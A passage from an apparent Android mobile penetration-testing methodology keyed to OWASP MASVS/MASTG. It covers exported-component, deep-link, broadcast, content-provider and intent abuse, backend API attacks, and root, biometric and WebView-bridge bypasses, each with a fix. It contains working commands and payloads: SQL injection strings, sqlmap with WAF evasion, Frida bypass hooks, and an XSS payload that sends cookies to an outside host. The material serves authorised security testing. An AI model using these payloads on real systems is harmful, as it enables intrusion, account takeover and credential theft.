  1. From the Phase 1 exported-component list, pick post-authentication activities.
  2. Log out, then launch the target directly:

```
adb shell am start -n com.target.app/.DashboardActivity
adb shell am start -n com.target.app/.TransferActivity --es amount 1 --
```

```
es to_account 999
```

3. Observe whether authenticated content renders or the action executes without a session.
4. Fuzz extras through drozer to find components that trust their input:

```
dz> run app.activity.start --component com.target.app
com.target.app.TransferActivity --extra string amount 1
```

- **Fallback Execution Workflow:** If `am start` is blocked because the component checks the caller, reproduce cross-app reachability with a small PoC app that fires an explicit `Intent`, which more faithfully models a malicious third-party app than the shell UID. To understand exactly which extras drive behaviour, hook `getIntent().getExtras()` handling with Frida and read the values the activity consumes.
- **Vulnerable / Failure State (Vulnerability Identified):**

```
$ adb shell am start -n com.target.app/.DashboardActivity
Starting: Intent { cmp=com.target.app/.DashboardActivity }
# App opens straight to the authenticated dashboard with live account data,
# no session check in onCreate/onResume.
```

- **Secure / Success State (Defense Verified):**

```
@Override protected void onResume() {
    super.onResume();
    if (!session.isValid()) {                // server-validated session
gate
        startActivity(new Intent(this, LoginActivity.class));
        finish();
    }
}
```

```
$ adb shell am start -n com.target.app/.DashboardActivity
# App bounces immediately to LoginActivity; no data shown.
```

- **Chaining Vector (Optional/Applicable):**

```
Exported activity  +  intent extra injection  -->  drive TransferActivity
-->  unauthorized action
Exported activity launch  -->  reach a WebView entry (Activity 5.3)  -->
bridge abuse
```

Activity 3.6: Deep Link and App Link Abuse

- **Main Heading:** MASVS-PLATFORM
- **Sub-Heading:** MASTG-PLAT-04 / MASTG-TEST-0028 — URI handling and inter-app navigation
- **Risk & Impact:**
  - **Severity:** High
  - **Exploitation Impact:** Custom schemes and HTTPS App Links let another app or a web page drive navigation into the target. Weak handling bypasses login, injects parameters into WebViews, file paths or API calls, and, when domain verification is broken, hijacks links carrying OAuth codes or reset tokens.
- **Primary Tooling:** `adb`, `jadx`, `drozer`, a browser
- **Alternate / Fallback Tooling:** `curl` (assetlinks.json), a PoC app claiming the scheme, `frida` to trace the intent-URI handler
- **Step-by-Step Methodology:**
  1. Enumerate every scheme, host and path from the manifest intent-filters:

     ```
     aapt dump xmltree base.apk AndroidManifest.xml | grep -A3 -iE
     'scheme|host|pathPrefix|autoVerify'
     grep -rniE '<data android:scheme|addURI|getData\(\)|getQueryParameter'
     out_jadx/sources
     ```

  2. Fire a link and watch where it lands:

     ```
     adb shell am start -a android.intent.action.VIEW -d
     "myapp://open/dashboard?user=101"
     adb shell am start -a android.intent.action.VIEW -d
     "https://app.target.com/transfer?to=999&amt=1"
     ```

  3. Test authentication bypass by deep-linking straight to a post-login screen while logged out.
  4. Test parameter injection: point a URL parameter that reaches a WebView at an attacker origin, or inject traversal/scheme values (`file://`, `javascript:`) into parameters that reach a loader or file path.
  5. Verify App Link ownership and look for hijackable links:

     ```
     curl -s https://app.target.com/.well-known/assetlinks.json | jq .
     adb shell pm get-app-links com.target.app        # look for state:
     verified vs legacy_failure
     ```

- **Fallback Execution Workflow:** If `am start` from the shell is treated differently than a real caller, deliver the link from a hostile HTML page (`<iframe src="myapp://...">` or `window.location`) to prove remote reachability, or from a small PoC app. If App Link verification is missing or `assetlinks.json` is absent/over-broad, install a PoC app registering the same host and confirm whether it wins the link or shares a chooser, which is

how OAuth-code and magic-link interception is proven. If the URI handler is obfuscated, hook `Activity.getIntent` / `Uri.getQueryParameter` with Frida to see the parsed values.

- **Vulnerable / Failure State (Vulnerability Identified):**

```
<!-- unverified https App Link + custom scheme, no autoVerify -->
<intent-filter>
  <action android:name="android.intent.action.VIEW"/>
  <category android:name="android.intent.category.BROWSABLE"/>
  <data android:scheme="myapp" android:host="open"/>
  <data android:scheme="https" android:host="app.target.com"/>
</intent-filter>
```

```
$ adb shell am start -a android.intent.action.VIEW -d
"myapp://open/dashboard?user=101"
# App opens the authenticated dashboard while logged out; user=101 is
trusted.
# assetlinks.json is missing -> a PoC app can claim app.target.com and
capture OAuth codes.
```

- **Secure / Success State (Defense Verified):**

```
<data android:scheme="https" android:host="app.target.com"
android:pathPrefix="/open"/>
<!-- android:autoVerify="true" on the filter, matching assetlinks.json
fingerprint -->
```

```
$ adb shell pm get-app-links com.target.app
  app.target.com: verified
# Deep links re-check the session server-side and validate every parameter;
logged-out
# links bounce to login; no custom-scheme fallback for auth redirects.
```

- **Chaining Vector (Optional/Applicable):**

```
Unverified App Link  -->  PoC app claims host  -->  intercept OAuth code /
reset token  -->  account takeover
Deep link sets WebView URL  -->  attacker origin in trusted WebView  -->
JS bridge abuse (Activity 5.3)
Deep link param  -->  TransferActivity?to=999&amt=1  -->  privileged action
with no confirmation
```

Activity 3.7: Broadcast Receiver Abuse and Intent Spoofing

- **Main Heading:** MASVS-PLATFORM

- **Sub-Heading:** MASTG-PLAT-04 — Exported receiver and broadcast handling
- **Risk & Impact:**
  - **Severity:** High
  - **Exploitation Impact:** A spoofed broadcast to an exported or dynamically-registered receiver can trigger privileged actions (logout, sync, token refresh, config change) or feed attacker-controlled data into the app. Sticky broadcasts and receivers that place secrets in result extras also leak data to any app.
- **Primary Tooling:** `adb` (activity manager), `drozer`, `jadx`
- **Alternate / Fallback Tooling:** PoC app sending an explicit broadcast, `frida` to trace `onReceive`
- **Step-by-Step Methodology:**
  1. Enumerate receivers and their intent-filters:

     ```
     dz> run app.broadcast.info -a com.target.app
     ```

     ```
     grep -rniE 'registerReceiver|onReceive|IntentFilter|getResultData'
     out_jadx/sources
     ```
  2. Send a spoofed broadcast targeting the receiver, with attacker-chosen extras:

     ```
     adb shell am broadcast -a com.target.app.ACTION_SYNC --es token attacker
     -n com.target.app/.SyncReceiver
     adb shell am broadcast -a com.target.app.LOGOUT
     ```
  3. Send via drozer where a component filter must be matched precisely:

     ```
     dz> run app.broadcast.send --action com.target.app.ACTION_SYNC --extra
     string token attacker
     ```
  4. Target actions that change state (logout, payment, token refresh) and check for sensitive data placed into broadcast or result extras.
- **Fallback Execution Workflow:** Dynamically-registered receivers do not appear in the manifest; find them by grepping for `registerReceiver` and by hooking `ContextWrapper.registerReceiver` with Frida to list runtime filters. If the shell UID is rejected, send the broadcast from a PoC app with an explicit `Intent` and any required permission the app declared at `normal` level. To read what a receiver emits, hook `onReceive` and log `intent.getExtras()` and any `setResultData`.
- **Vulnerable / Failure State (Vulnerability Identified):**

```
// Exported (or runtime-registered with no permission) receiver that trusts
the broadcast:
public void onReceive(Context c, Intent i) {
    String token = i.getStringExtra("token");   // attacker-controlled
    api.refreshSession(token);                   // privileged action, no
```

```
sender check
}
```

```
$ adb shell am broadcast -a com.target.app.ACTION_SYNC --es token attacker
-n com.target.app/.SyncReceiver
Broadcast completed: result=0    # action fired from an unprivileged sender
```

- **Secure / Success State (Defense Verified):**

```
<!-- receiver not exported, or guarded by a signature-level permission -->
<receiver android:name=".SyncReceiver" android:exported="false"/>
```

```
// Prefer LocalBroadcastManager or a signature permission; validate the
action and never
// trust broadcast extras for authorization. Spoofed broadcast is refused /
ignored.
```

- **Chaining Vector (Optional/Applicable):**

```
Spoofed LOGOUT broadcast  -->  forced re-auth  -->  phishing overlay at
login (denial + social eng)
Receiver leaks token in result extras  -->  any co-located app reads it  --
>  session theft
```

Activity 3.8: Content Provider Exploitation (SQL Injection and Path Traversal)

- **Main Heading:** MASVS-PLATFORM / MASVS-STORAGE
- **Sub-Heading:** MASTG-TEST-0020 — Exported content provider abuse
- **Risk & Impact:**
  - **Severity:** High to Critical
  - **Exploitation Impact:** An exported provider reachable by any app can leak private records, allow unauthorized insert/update/delete, expose SQL injection in the `projection` / `selection`, or expose arbitrary app-private files through a traversable file-backed provider.
- **Primary Tooling:** `drozer`, `adb` (`content`), `jadx`
- **Alternate / Fallback Tooling:** PoC app calling `ContentResolver`, `sqlite3` on a pulled DB to confirm, `frida` on the provider methods
- **Step-by-Step Methodology:**
  1. Enumerate providers, authorities and paths:

```
dz> run app.provider.info    -a com.target.app
dz> run app.provider.finduri -a com.target.app
```

2. Query the provider and dump rows:

```
adb shell content query --uri content://com.target.app.provider/users
```

```
dz> run app.provider.query content://com.target.app.provider/users --
vertical
```

3. Test SQL injection in the projection and selection:

```
dz> run app.provider.query content://com.target.app.provider/users --
projection "* FROM sqlite_master--"
dz> run app.provider.query content://com.target.app.provider/users --
selection "1=1) UNION SELECT name,2 FROM sqlite_master--"
```

4. Test write access and path traversal on file-backed providers:

```
dz> run app.provider.insert content://com.target.app.provider/users --
string name attacker
dz> run app.provider.read
content://com.target.app.provider/../databases/app.db
```

- **Fallback Execution Workflow:** If drozer is unavailable, reproduce every call with `adb shell content query|insert|update|delete --uri ...`, or a PoC app using `getContentResolver().query(...)` which models a real malicious app. Confirm injection by pulling the database (Activity 5.1) and matching the leaked rows. For a file-backed `openFile` provider, test `content://authority/..%2f..%2fdatabases/app.db` and URL-encoded traversal variants. Hook the provider's `query` / `openFile` with Frida to see the raw selection string reaching SQLite.
- **Vulnerable / Failure State (Vulnerability Identified):**

```
// Selection concatenated straight into the query -> SQLi; provider
exported.
public Cursor query(Uri uri, String[] proj, String sel, String[] args,
String sort) {
    return db.rawQuery("SELECT * FROM users WHERE id=" +
uri.getLastPathSegment(), null);
}
```

```
dz> run app.provider.query content://com.target.app.provider/users --
selection "1=1) UNION SELECT password,2 FROM users--"
| password        | 2 |
| P@ssw0rd123!    | 2 |         # arbitrary table read via injection
```

- **Secure / Success State (Defense Verified):**

```
// Not exported, or exported with signature permission; parameterized
queries only.
return db.query("users", proj, "id=?", new String[]{
uri.getLastPathSegment() }, null, null, sort);
```

```
dz> run app.provider.query content://com.target.app.provider/users
Permission Denial: reading provider ... requires
com.target.app.permission.DATA (signature)
```

- **Chaining Vector (Optional/Applicable):**

```
Exported provider + SQLi  -->  dump credentials table  -->  account
takeover
File-backed provider + traversal (grantUriPermission)  -->  read
shared_prefs/databases  -->  token theft (Activity 5.1)
```

Activity 3.9: Implicit Intent and PendingIntent Hijacking

- **Main Heading:** MASVS-PLATFORM
- **Sub-Heading:** MASTG-PLAT-04 — Intent redirection and mutable PendingIntent abuse
- **Risk & Impact:**
  - **Severity:** High
  - **Exploitation Impact:** An implicit intent with sensitive extras can be captured by a malicious app. Worse, an intent-redirection sink (the app blindly starts an attacker-supplied nested `Intent`) or a mutable `PendingIntent` lets an attacker act with the victim app's identity and permissions, reaching its non-exported components and private files.
- **Primary Tooling:** `jadx`, PoC app, `frida`
- **Alternate / Fallback Tooling:** `grep` for the sinks, `drozer` for the delivering component
- **Step-by-Step Methodology:**
  1. Find intent-redirection sinks and PendingIntent creation:

     ```
     grep -rniE 'getParcelableExtra\(.*Intent|startActivity\(\
     (Intent\)|PendingIntent\.(getActivity|getBroadcast|getService)'
     out_jadx/sources
     grep -rniE 'FLAG_MUTABLE|FLAG_IMMUTABLE' out_jadx/sources
     ```

  2. For intent redirection, craft an outer intent to an exported entry that carries an inner `Intent` extra pointing at a non-exported, privileged component.
  3. Deliver from a PoC app and observe the victim starting the attacker-controlled inner intent with its own UID.

4. For PendingIntent, check whether it is created mutable (or without `FLAG_IMMUTABLE` on older targets) and handed to another app or a notification; if so, fill in its blank fields to redirect it.

- **Fallback Execution Workflow:** If you cannot see which extra key holds the nested intent, hook `Intent.getParcelableExtra` and `Context.startActivity` with Frida and log the objects at runtime. To capture a leaked implicit intent, register a PoC app with a matching intent-filter and read the extras it receives. For PendingIntent testing, capture the object from the notification or the IPC call and use `PendingIntent.send()` with a filled-in base intent.
- **Vulnerable / Failure State (Vulnerability Identified):**

```
// Intent redirection: exported activity forwards an attacker-supplied
nested Intent.
Intent forward = getIntent().getParcelableExtra("next");
startActivity(forward);                 // runs with the victim app's
identity
// Or a mutable, under-specified PendingIntent handed to another component:
PendingIntent pi = PendingIntent.getActivity(ctx, 0, new Intent(),
PendingIntent.FLAG_MUTABLE);
```

```
# PoC sends: outer -> ExportedProxyActivity, extra "next" =
Intent(com.target.app/.InternalAdminActivity)
# Victim launches the non-exported InternalAdminActivity on the attacker's
behalf.
```

- **Secure / Success State (Defense Verified):**

```
// Do not forward untrusted intents. Validate the target component against
an allowlist,
// and make PendingIntents immutable and explicit.
PendingIntent pi = PendingIntent.getActivity(
    ctx, 0, new Intent(ctx, Receiver.class),
    PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);
```

  The nested-intent path is removed or allowlisted; the redirection PoC is rejected.
- **Chaining Vector (Optional/Applicable):**

```
Intent redirection  -->  launch non-exported component  -->  reach auth-
bypass activity (Activity 3.5)
Mutable PendingIntent  -->  attacker fills base intent  -->  act as victim
app  -->  read private FileProvider (Activity 5.1)
```

Phase 4: API & Network Attack (Server-Side)

Goal: attack the backend the mobile client talks to. With traffic visible from Phase 3, test authorization, injection and logic on the server. These are usually the highest-impact findings in a mobile engagement.

Activity 4.1: Broken Object Level Authorization (BOLA / IDOR)

- **Main Heading:** MASVS-AUTH
- **Sub-Heading:** MASTG-AUTH-04 — Object-level access control (OWASP API1)
- **Risk & Impact:**
  - **Severity:** Critical
  - **Exploitation Impact:** Changing an identifier returns another user's data or acts on their objects. Enumerable IDs turn one finding into a mass-extraction incident.
- **Primary Tooling:** Burp Suite (Repeater, Autorize), two test accounts
- **Alternate / Fallback Tooling:** `ffuf` for ID sweeps, Postman, custom Python
- **Step-by-Step Methodology:**
  1. As User A, capture a request for a private object, for example `GET /api/v1/users/101/profile`.
  2. Send to Repeater, swap the identifier to User B's while keeping User A's token:

     ```
     GET /api/v1/users/102/profile HTTP/1.1
     Host: api.target.com
     Authorization: Bearer <User-A-token>
     ```

  3. Automate detection across the whole session with the Autorize extension (replays every request with User B's token and flags authorized responses).
  4. Repeat for every object type and every parameter position (path, query, body, header, batch).
- **Fallback Execution Workflow:** If IDs are UUIDs rather than sequential, harvest valid identifiers from other responses (lists, search, referral endpoints) rather than guessing. If Autorize is unavailable, script the two-token comparison with a short Python harness that diffs status and body length.
- **Vulnerable / Failure State (Vulnerability Identified):**

  ```
  GET /api/v1/users/102/profile        Authorization: Bearer <User-A-token>
  HTTP/1.1 200 OK
  {"id":102,"name":"Bob","email":"bob@x.com","ssn":"..."}   <-- A reads B
  ```

- **Secure / Success State (Defense Verified):**

  ```
  GET /api/v1/users/102/profile        Authorization: Bearer <User-A-token>
  HTTP/1.1 403 Forbidden
  ```

```
{"error":"forbidden"}
```

The server derives the object owner from the session and enforces it on every object, ideally by scoping to `/api/v1/me/...`.

- **Chaining Vector (Optional/Applicable):**

```
Pinning bypass (3.2)  -->  BOLA on /users/{id}  -->  ID enumeration  -->
full user-base dump (Critical)
```

Activity 4.2: Broken Function Level Authorization (BFLA)

- **Main Heading:** MASVS-AUTH
- **Sub-Heading:** MASTG-AUTH-03 — Function-level access control (OWASP API5)
- **Risk & Impact:**
  - **Severity:** Critical
  - **Exploitation Impact:** A standard user invokes admin-only operations (delete users, change roles, read all orders), giving vertical privilege escalation.
- **Primary Tooling:** Burp Suite (Repeater), a standard account and an admin account
- **Alternate / Fallback Tooling:** Autorize with two roles, endpoint list from Activity 1.4, `ffuf` for admin-path discovery
- **Step-by-Step Methodology:**
  1. Map admin operations from the admin build, API spec, or path fuzzing (`/admin` , `/internal` , `DELETE /users/{id}`).
  2. Log in as the standard user and replay an admin request with that user's token:

     ```
     DELETE /api/v1/admin/users/102 HTTP/1.1
     Authorization: Bearer <standard-user-token>
     ```

  3. Test method-based escalation (send `PUT` / `DELETE` / `PATCH` where only `GET` is expected).
  4. Confirm the effect with an independent read (did the user actually get deleted?).
- **Fallback Execution Workflow:** If admin routes are unknown, discover them by content-diffing the standard and admin clients, or fuzz with `ffuf -u https://api.target.com/api/v1/admin/FUZZ -H "Authorization: Bearer <token>" -w api-wordlist.txt -mc 200,201,204` . Also test role fields the server may trust in the body or a header (`X-Role: admin`).
- **Vulnerable / Failure State (Vulnerability Identified):**

```
DELETE /api/v1/admin/users/102     Authorization: Bearer <standard-user-
token>
```

```
HTTP/1.1 204 No Content            <-- standard user deleted another
account
```

- **Secure / Success State (Defense Verified):**

```
DELETE /api/v1/admin/users/102     Authorization: Bearer <standard-user-
token>
HTTP/1.1 403 Forbidden
```

Role is checked server-side on every privileged function, not inferred from the client or a hidden UI.

- **Chaining Vector (Optional/Applicable):**

```
BFLA on role-change endpoint  -->  elevate own account to admin  -->  full
tenant control (Critical)
```

Activity 4.3: SQL Injection

- **Main Heading:** MASVS-CODE
- **Sub-Heading:** MASTG-TEST-0025 — Server-side injection (OWASP API8)
- **Risk & Impact:**
  - **Severity:** Critical
  - **Exploitation Impact:** Arbitrary database read/write, authentication bypass, and often full data exfiltration or RCE via stacked queries or file primitives.
- **Primary Tooling:** Burp Suite (Repeater), `sqlmap`
- **Alternate / Fallback Tooling:** manual boolean/time payloads, NoSQLMap for document stores, `ghauri`
- **Step-by-Step Methodology:**
  1. Identify data-driven endpoints (search, filter, sort, login).
  2. Inject a single quote and watch for a 500 or a DB error:

```
GET /api/v1/products/search?q=test' HTTP/1.1
```

  3. If no error, test a time-based payload and confirm the delay:

```
GET /api/v1/products/search?
q=test%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20-
```

  4. Automate exploitation with a saved request:

```
sqlmap -r search.req -p q --batch --risk 3 --level 5 --dbs
```

- **Fallback Execution Workflow:** If a WAF blocks `sqlmap`, add `--tamper=space2comment,between,randomcase` and throttle with `--delay 1 --random-agent`. For JSON bodies sqlmap does not parse well, mark the injection point with `q*` in the saved request. For NoSQL backends, swap the value for an operator object (a JSON body using an inequality operator in place of a string) and test with NoSQLMap.
- **Vulnerable / Failure State (Vulnerability Identified):**

```
GET /api/v1/products/search?q=test'
HTTP/1.1 500 Internal Server Error
{"error":"You have an error in your SQL syntax near '''"}
```

  The time-based payload reliably delays the response by five seconds.
- **Secure / Success State (Defense Verified):**

```
// Parameterized query: input is bound, never concatenated into SQL
PreparedStatement ps = conn.prepareStatement(
    "SELECT id,name FROM products WHERE name LIKE ?");
ps.setString(1, "%" + q + "%");
```

```
GET /api/v1/products/search?q=test'
HTTP/1.1 200 OK
{"results":[]}                    # payload treated as a literal string
```

- **Chaining Vector (Optional/Applicable):**

```
SQLi in search  -->  dump users table  -->  offline password cracking  -->
account takeover
SQLi  -->  stacked queries / xp_cmdshell / INTO OUTFILE  -->  RCE
(Critical)
```

Activity 4.4: Stored XSS Rendered in a WebView

- **Main Heading:** MASVS-PLATFORM
- **Sub-Heading:** MASTG-PLAT-08 — Cross-site scripting in embedded web content
- **Risk & Impact:**
  - **Severity:** High (Critical if chained to a JavaScript bridge)
  - **Exploitation Impact:** Server-stored script executes inside the app's WebView. On its own it steals in-WebView session data; chained to an exposed bridge it reaches native capability.
- **Primary Tooling:** Burp Suite (Repeater), Android device
- **Alternate / Fallback Tooling:** `jadx` to confirm the render sink, `frida` to watch `loadUrl` / `loadDataWithBaseURL`

- **Step-by-Step Methodology:**
  1. Identify a feature that stores user input and later renders it in a WebView (bio, message, support ticket).
  2. Intercept the save request and inject a payload:

```
PUT /api/v1/profile HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json

{"bio":"<img src=x onerror=alert(document.cookie)>"}
```

  3. On the device, open the screen that renders the value and observe execution.
  4. Confirm the sink is a WebView, not a `TextView`, by grep:

```
grep -rniE 'loadData|loadUrl|loadDataWithBaseURL|setJavaScriptEnabled'
out_jadx/sources
```

- **Fallback Execution Workflow:** If `alert()` is ambiguous inside a WebView, use an out-of-band payload that beacons to Burp Collaborator: `<img src=x onerror="fetch('//<collab>/'+document.cookie)">`. If output is partly filtered, test attribute-breaking and event-handler variants (`onload`, `onpointerover`) and encoded forms until one renders unescaped.
- **Vulnerable / Failure State (Vulnerability Identified):**

```
WebView wv = findViewById(R.id.bio);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadData(serverBio, "text/html", "UTF-8");   // unescaped server value -
> script runs
```

  The payload fires on the profile screen, confirming execution in the WebView context.
- **Secure / Success State (Defense Verified):**

```
// Render untrusted text as text, not HTML:
TextView bio = findViewById(R.id.bio);
bio.setText(serverBio);
// If HTML is required, sanitize server-side (allowlist) and keep JS
disabled in the WebView.
wv.getSettings().setJavaScriptEnabled(false);
```

  The payload displays as literal text.
- **Chaining Vector (Optional/Applicable):**

```
Stored XSS  +  addJavascriptInterface bridge (Activity 5.3)  -->
```

```
Android.getSessionToken()  -->  token theft (Critical)
```

Activity 4.5: Mass Assignment

- **Main Heading:** MASVS-AUTH / MASVS-CODE
- **Sub-Heading:** MASTG-AUTH-08 — Object property-level authorization (OWASP API3)
- **Risk & Impact:**
  - **Severity:** High
  - **Exploitation Impact:** Injecting hidden privileged properties into an update request sets fields the UI never exposes, such as `isAdmin`, `role` or `balance`.
- **Primary Tooling:** Burp Suite (Repeater)
- **Alternate / Fallback Tooling:** API spec / Swagger for field names, response diffing, `arjun` for hidden params
- **Step-by-Step Methodology:**
  1. Capture a legitimate object-update request (`/api/v1/profile/update`).
  2. Infer candidate privileged fields from the object's GET response.
  3. Inject them into the update body:

     ```
     POST /api/v1/profile/update HTTP/1.1
     Authorization: Bearer <token>
     Content-Type: application/json

     {"displayName":"alice","isAdmin":true,"account_balance":999999,"role":"a
     dmin"}
     ```

  4. Verify persistence with a follow-up GET.
- **Fallback Execution Workflow:** If field names are unknown, enumerate them with `arjun -u https://api.target.com/api/v1/profile/update -m JSON`, or read the object's GET response and mirror every field back into the update. Test nested objects and arrays, which are commonly excluded from server-side allowlists.
- **Vulnerable / Failure State (Vulnerability Identified):**

  ```
  GET /api/v1/profile        Authorization: Bearer <token>
  HTTP/1.1 200 OK
  {"displayName":"alice","role":"admin","account_balance":999999}   <--
  injected fields persisted
  ```

- **Secure / Success State (Defense Verified):**

  ```
  // Server binds only an explicit allowlist DTO; unknown fields are ignored.
  public class ProfileUpdateDTO { public String displayName; }   //
  ```

```
role/balance not bindable

GET /api/v1/profile
{"displayName":"alice","role":"user","account_balance":0}       # injection
had no effect
```

- **Chaining Vector (Optional/Applicable):**

```
Mass assignment role=admin  -->  BFLA now permitted (Activity 4.2)  -->
full escalation
```

Phase 5: Advanced Local & Runtime Analysis (Client-Side)

Goal: attack the client at runtime. Steal sandboxed data, defeat client-side security controls with instrumentation, abuse the WebView-to-native bridge, and test whether biometric gates are real or cosmetic.

Activity 5.1: Access and Steal Sandboxed Data

- **Main Heading:** MASVS-STORAGE
- **Sub-Heading:** MASTG-TEST-0207 — Sandbox data extraction on a compromised device
- **Risk & Impact:**
  - **Severity:** High
  - **Exploitation Impact:** On a rooted or backed-up device, plaintext files in the app sandbox yield credentials, tokens and databases that enable account takeover, often portable to another device.
- **Primary Tooling:** `adb`, `sqlite3`, `objection`
- **Alternate / Fallback Tooling:** `run-as` on debuggable builds, `frida` storage hooks, `android-backup-extractor`
- **Step-by-Step Methodology:**
  1. Get a root shell and list the sandbox:

```
adb shell "su -c ls -laR /data/data/com.target.app/"
```

  2. Read preferences and pull databases:

```
adb shell "su -c cat /data/data/com.target.app/shared_prefs/session.xml"
adb shell "su -c cp /data/data/com.target.app/databases/app.db
```

```
/sdcard/app.db" && adb pull /sdcard/app.db
sqlite3 app.db ".tables" ".dump users"
```

3. Map all storage paths quickly with objection:

```
objection -g com.target.app explore
env            # prints files/cache/databases paths
```

4. Attempt to reuse extracted tokens from another device to test device binding.

- **Fallback Execution Workflow:** No root but the app is `debuggable`: use `adb shell run-as com.target.app` to read the private directory without `su`. If the database is SQLCipher-encrypted, do not attack the file, hook the key-derivation call at runtime with Frida to recover the passphrase, then open with `sqlcipher`. If backup is allowed (Activity 1.1), extract offline with `adb backup -f b.ab -noapk com.target.app` and unpack with `abe.jar`.
- **Vulnerable / Failure State (Vulnerability Identified):**

```
$ sqlite3 app.db ".dump users"
INSERT INTO users VALUES(1,'alice','P@ssw0rd123!','eyJhbGciOi...');   #
plaintext creds + token
```

- **Secure / Success State (Defense Verified):**

```
$ sqlite3 app.db ".dump users"
INSERT INTO users VALUES(1,'alice', X'A1B2...ciphertext...');   #
SQLCipher, key in Keystore
# Tokens are device-bound; replay from another device is rejected by the
server.
```

- **Chaining Vector (Optional/Applicable):**

```
Root detection bypass (5.2)  -->  read sandbox  -->  extract token  -->
replay to API (if not device-bound)
```

Activity 5.2: Bypass Root Detection

- **Main Heading:** MASVS-RESILIENCE
- **Sub-Heading:** MASTG-RESILIENCE-01 — Root/emulator detection strength
- **Risk & Impact:**
  - **Severity:** Info as a step; the detection's weakness is the finding
  - **Exploitation Impact:** Root detection that a stock script disables provides no real protection and cannot be relied on to gate sensitive features. Bypass is also the precondition for Activities 5.1 and 5.3.
- **Primary Tooling:** `frida`, `objection`, Magisk DenyList/Shamiko

- **Alternate / Fallback Tooling:** custom Frida script, Smali patch, `Ghidra` for native checks
- **Step-by-Step Methodology:**
  1. Observe the app crashing or refusing to run on a rooted device.
  2. Try objection's built-in bypass:

     ```
     objection -g com.target.app explore
     android root disable
     ```

  3. If checks persist, hide root at the environment level with Magisk DenyList plus Shamiko, then relaunch.
  4. For custom checks, hook the verdict method:

     ```
     // root-bypass.js
     Java.perform(function () {
       var Sec = Java.use('com.target.app.security.RootCheck');
       Sec.isDeviceRooted.implementation = function () { return false; };
     });
     ```

     ```
     frida -U -f com.target.app -l root-bypass.js --no-pause
     ```

- **Fallback Execution Workflow:** If the check is native (`System.loadLibrary("sec")`), locate the function in Ghidra and hook it with `Interceptor.replace` or patch the return in memory. If detection runs before Frida can attach, embed a `frida-gadget` by repackaging, or spawn with `-f` to catch class-load-time checks. If everything else fails, remove the check in Smali and re-sign, then note the effort as the resilience rating.
- **Vulnerable / Failure State (Vulnerability Identified):**

  ```
  $ objection -g com.target.app explore
  android root disable
  (agent) Found root check RootBeer.isRooted, overloaded to return false
  # App now runs fully on a rooted device -> weak, single-point detection.
  ```

- **Secure / Success State (Defense Verified):**

  ```
  # objection and stock scripts fail. Detection is layered: native checks +
  Play Integrity
  # attestation validated server-side. The server refuses sensitive actions
  from a device
  # that fails attestation, regardless of client-side hooking.
  ```

- **Chaining Vector (Optional/Applicable):**

  ```
  Root bypass  -->  Frida attaches freely  -->  disable pinning + read
  sandbox + hook biometrics (full client compromise)
  ```

Activity 5.3: Exploit an Insecure WebView JavaScript Bridge

- **Main Heading:** MASVS-PLATFORM
- **Sub-Heading:** MASTG-TEST-0033 — `addJavascriptInterface` exposure
- **Risk & Impact:**
  - **Severity:** High to Critical
  - **Exploitation Impact:** A native object exposed to JavaScript lets web content call into the app. Depending on the methods exposed, this leaks tokens, reads files, launches intents, or on old targets reaches `Runtime.exec` for code execution.
- **Primary Tooling:** `jadx-gui`, Burp Suite, Android device
- **Alternate / Fallback Tooling:** `frida` to enumerate the bridge at runtime, stored XSS from Activity 4.4 as the delivery
- **Step-by-Step Methodology:**
  1. Find the bridge and its exposed methods:

     ```
     grep -rniE 'addJavascriptInterface|@JavascriptInterface'
     out_jadx/sources
     ```

  2. Enumerate the exposed class for dangerous methods (`getSessionToken`, `readFile`, `openUrl`).
  3. Deliver a payload into the WebView, via a stored XSS (4.4), a deep link that sets the URL, or a MITM injection, that calls the bridge:

     ```
     <script>document.title = AndroidBridge.getSessionToken();</script>
     ```

  4. Observe the token being returned to attacker-controlled JavaScript.
- **Fallback Execution Workflow:** If the interface name is obfuscated, enumerate it live: hook `android.webkit.WebView.addJavascriptInterface` with Frida and log the object and the name string it is registered under. If you cannot inject remote content because the WebView loads a fixed URL, chain from a deep link (Activity 3.5 / 5) that controls the loaded URL, or MITM the page after the Activity 3.2 pinning bypass.
- **Vulnerable / Failure State (Vulnerability Identified):**

  ```
  webView.getSettings().setJavaScriptEnabled(true);
  webView.addJavascriptInterface(new NativeBridge(), "AndroidBridge");
  // class NativeBridge { @JavascriptInterface public String
  getSessionToken(){ return token; } }

  # Injected JS returns: eyJhbGciOi...  (session token stolen by web content)
  ```

- **Secure / Success State (Defense Verified):**

  ```
  // No bridge, or a minimal bridge with no sensitive methods, exposed only
  to trusted content.
  ```

```
// If a bridge is required, gate every call on the WebView's current
origin:
if (!TRUSTED_HOST.equals(Uri.parse(webView.getUrl()).getHost())) return
null;
```

Injected JavaScript cannot reach any sensitive native method.

- **Chaining Vector (Optional/Applicable):**

```
Stored XSS (4.4)  -->  bridge.getSessionToken()  -->  exfiltrate token  -->
account takeover (Critical)
addJavascriptInterface on targetSdk < 17  -->  reflection  -->
Runtime.exec  -->  RCE
```

Activity 5.4: Bypass Biometric Authentication

- **Main Heading:** MASVS-AUTH
- **Sub-Heading:** MASTG-AUTH-10 — Client-side biometric gate strength
- **Risk & Impact:**
  - **Severity:** High
  - **Exploitation Impact:** If the biometric prompt only flips a boolean rather than unlocking a Keystore-bound key, forging the success callback bypasses the gate on sensitive actions such as payments.
- **Primary Tooling:** `frida`, `objection`
- **Alternate / Fallback Tooling:** custom Frida hook on `BiometricPrompt$AuthenticationCallback`, `jadx` to inspect CryptoObject usage
- **Step-by-Step Methodology:**
  1. Reach a screen that requires a biometric prompt.
  2. Try objection's helper:

```
objection -g com.target.app explore
android biometrics bypass
```

  3. If needed, hook the success callback directly:

```
Java.perform(function () {
  var CB =
Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
  CB.onAuthenticationSucceeded.implementation = function (r) {
    console.log('[+] forcing biometric success');
    return this.onAuthenticationSucceeded(r);
  };
});
```

4. Determine whether a `CryptoObject` is bound to the prompt, which decides whether the bypass yields anything usable.

- **Fallback Execution Workflow:** If forcing the callback does nothing, the app is using the result-of-crypto pattern correctly (the sensitive operation needs a Keystore key unlocked by the biometric, which a faked callback does not provide). In that case pivot to testing whether the protected action is also enforced server-side. If the callback path is obfuscated, enumerate loaded biometric classes with `android hooking search classes biometric` in objection.
- **Vulnerable / Failure State (Vulnerability Identified):**

```
// Event-only check: success just sets a flag and proceeds.
